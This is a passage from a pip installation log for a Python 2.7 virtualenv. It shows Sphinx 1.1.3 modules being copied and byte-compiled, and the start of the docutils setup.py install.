/home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/coverage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/graphviz.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/mathbase.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/oldcmarkup.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - copying build/lib.linux-x86_64-2.7/sphinx/ext/extlinks.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/websupport.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/matching.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/pycompat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/osutil.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/png.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/console.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/stemmer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/inspect.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/jsdump.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/smartypants.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/tags.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/docstrings.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/texescape.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/jsonimpl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/docfields.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - copying build/lib.linux-x86_64-2.7/sphinx/util/compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/sqlalchemystorage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/sqlalchemy_db.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/differ.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/xapiansearch.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/nullsearch.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/whooshsearch.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search - - copying build/lib.linux-x86_64-2.7/sphinx/websupport/errors.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport - - copying build/lib.linux-x86_64-2.7/sphinx/roles.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/quickstart.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/cmdline.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/environment.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/Grammar.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/driver.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/parse.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/token.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/grammar.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/tokenize.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/pgen.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/literals.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 - - copying build/lib.linux-x86_64-2.7/sphinx/pycode/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode - - copying build/lib.linux-x86_64-2.7/sphinx/highlighting.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/config.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/epub.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/websupport.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/text.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/latex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/linkcheck.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/devhelp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/texinfo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/htmlhelp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/manpage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/qthelp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/gettext.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/builders/changes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders - - copying build/lib.linux-x86_64-2.7/sphinx/setup_command.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - copying build/lib.linux-x86_64-2.7/sphinx/texinputs/sphinxmanual.cls -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - copying build/lib.linux-x86_64-2.7/sphinx/texinputs/Makefile -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - copying build/lib.linux-x86_64-2.7/sphinx/texinputs/sphinx.sty -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - copying build/lib.linux-x86_64-2.7/sphinx/texinputs/fncychap.sty -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - copying build/lib.linux-x86_64-2.7/sphinx/texinputs/sphinxhowto.cls -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - copying build/lib.linux-x86_64-2.7/sphinx/texinputs/tabulary.sty -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - copying build/lib.linux-x86_64-2.7/sphinx/texinputs/python.ist -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives - - copying build/lib.linux-x86_64-2.7/sphinx/directives/other.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives - - copying build/lib.linux-x86_64-2.7/sphinx/directives/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives - - copying build/lib.linux-x86_64-2.7/sphinx/directives/code.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives - - copying build/lib.linux-x86_64-2.7/sphinx/theming.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search - - copying build/lib.linux-x86_64-2.7/sphinx/search/ja.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search - - copying build/lib.linux-x86_64-2.7/sphinx/search/en.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search - - copying build/lib.linux-x86_64-2.7/sphinx/search/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search - - copying build/lib.linux-x86_64-2.7/sphinx/addnodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/errors.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/apidoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/versioning.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - copying build/lib.linux-x86_64-2.7/sphinx/application.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/websupport.py to websupport.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/text.py to text.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/latex.py to latex.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/texinfo.py to texinfo.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/manpage.py to manpage.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/html.py to html.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pygments_styles.py to pygments_styles.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/c.py to c.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/rst.py to rst.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/std.py to std.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/python.py to python.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/cpp.py to cpp.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/domains/javascript.py to javascript.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/jinja2glue.py to jinja2glue.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/generate.py to generate.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/jsmath.py to jsmath.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/refcounting.py to refcounting.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/viewcode.py to viewcode.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/ifconfig.py to ifconfig.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autodoc.py to autodoc.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/mathjax.py to mathjax.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/todo.py to todo.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/pngmath.py to pngmath.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/inheritance_diagram.py to inheritance_diagram.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/intersphinx.py to intersphinx.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/doctest.py to doctest.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/coverage.py to coverage.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/graphviz.py to graphviz.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/mathbase.py to mathbase.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/oldcmarkup.py to oldcmarkup.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/extlinks.py to extlinks.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/websupport.py to websupport.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/matching.py to matching.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/pycompat.py to pycompat.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/nodes.py to nodes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/osutil.py to osutil.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/png.py to png.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/console.py to console.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/stemmer.py to stemmer.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/inspect.py to inspect.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/jsdump.py to jsdump.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/smartypants.py to smartypants.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/tags.py to tags.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/docstrings.py to docstrings.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/texescape.py to texescape.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/jsonimpl.py to jsonimpl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/docfields.py to docfields.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util/compat.py to compat.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/sqlalchemystorage.py to sqlalchemystorage.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/sqlalchemy_db.py to sqlalchemy_db.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage/differ.py to differ.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/xapiansearch.py to xapiansearch.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/nullsearch.py to nullsearch.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/whooshsearch.py to whooshsearch.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/errors.py to errors.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/roles.py to roles.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/quickstart.py to quickstart.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/cmdline.py to cmdline.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/environment.py to environment.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/nodes.py to nodes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/driver.py to driver.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/parse.py to parse.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/token.py to token.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/grammar.py to grammar.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/tokenize.py to tokenize.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/pgen.py to pgen.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2/literals.py to literals.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/highlighting.py to highlighting.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/config.py to config.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/epub.py to epub.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/websupport.py to websupport.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/text.py to text.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/latex.py to latex.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/linkcheck.py to linkcheck.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/devhelp.py to devhelp.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/texinfo.py to texinfo.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/htmlhelp.py to htmlhelp.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/manpage.py to manpage.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/html.py to html.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/qthelp.py to qthelp.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/gettext.py to gettext.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders/changes.py to changes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/setup_command.py to setup_command.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives/other.py to other.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives/code.py to code.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/theming.py to theming.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search/ja.py to ja.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search/en.py to en.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/addnodes.py to addnodes.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/errors.py to errors.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/apidoc.py to apidoc.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/versioning.py to versioning.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/application.py to application.pyc - - running install_egg_info - - Copying Sphinx.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/Sphinx-1.1.3-py2.7.egg-info - - running install_scripts - - Installing sphinx-apidoc script to /home/isis/.virtualenvs/python-gnupg/bin - - Installing sphinx-build script to /home/isis/.virtualenvs/python-gnupg/bin - - Installing sphinx-quickstart script to /home/isis/.virtualenvs/python-gnupg/bin - - Installing sphinx-autogen script to /home/isis/.virtualenvs/python-gnupg/bin - - writing list of installed files to '/tmp/pip-Vmfaee-record/install-record.txt' - - Running setup.py install for docutils - - Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/docutils/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-LZGcJp-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 - - running install - - running build - - running build_py - - creating build - - creating build/lib.linux-x86_64-2.7 - - creating build/lib.linux-x86_64-2.7/docutils - - copying docutils/core.py -> build/lib.linux-x86_64-2.7/docutils - - copying docutils/nodes.py -> build/lib.linux-x86_64-2.7/docutils - - copying docutils/examples.py -> build/lib.linux-x86_64-2.7/docutils - - copying docutils/_compat.py -> build/lib.linux-x86_64-2.7/docutils - - copying docutils/frontend.py -> build/lib.linux-x86_64-2.7/docutils - - copying docutils/io.py -> build/lib.linux-x86_64-2.7/docutils - - copying docutils/__init__.py -> build/lib.linux-x86_64-2.7/docutils - - copying docutils/statemachine.py -> build/lib.linux-x86_64-2.7/docutils - - creating build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/pt_br.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/fr.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/ca.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/ja.py 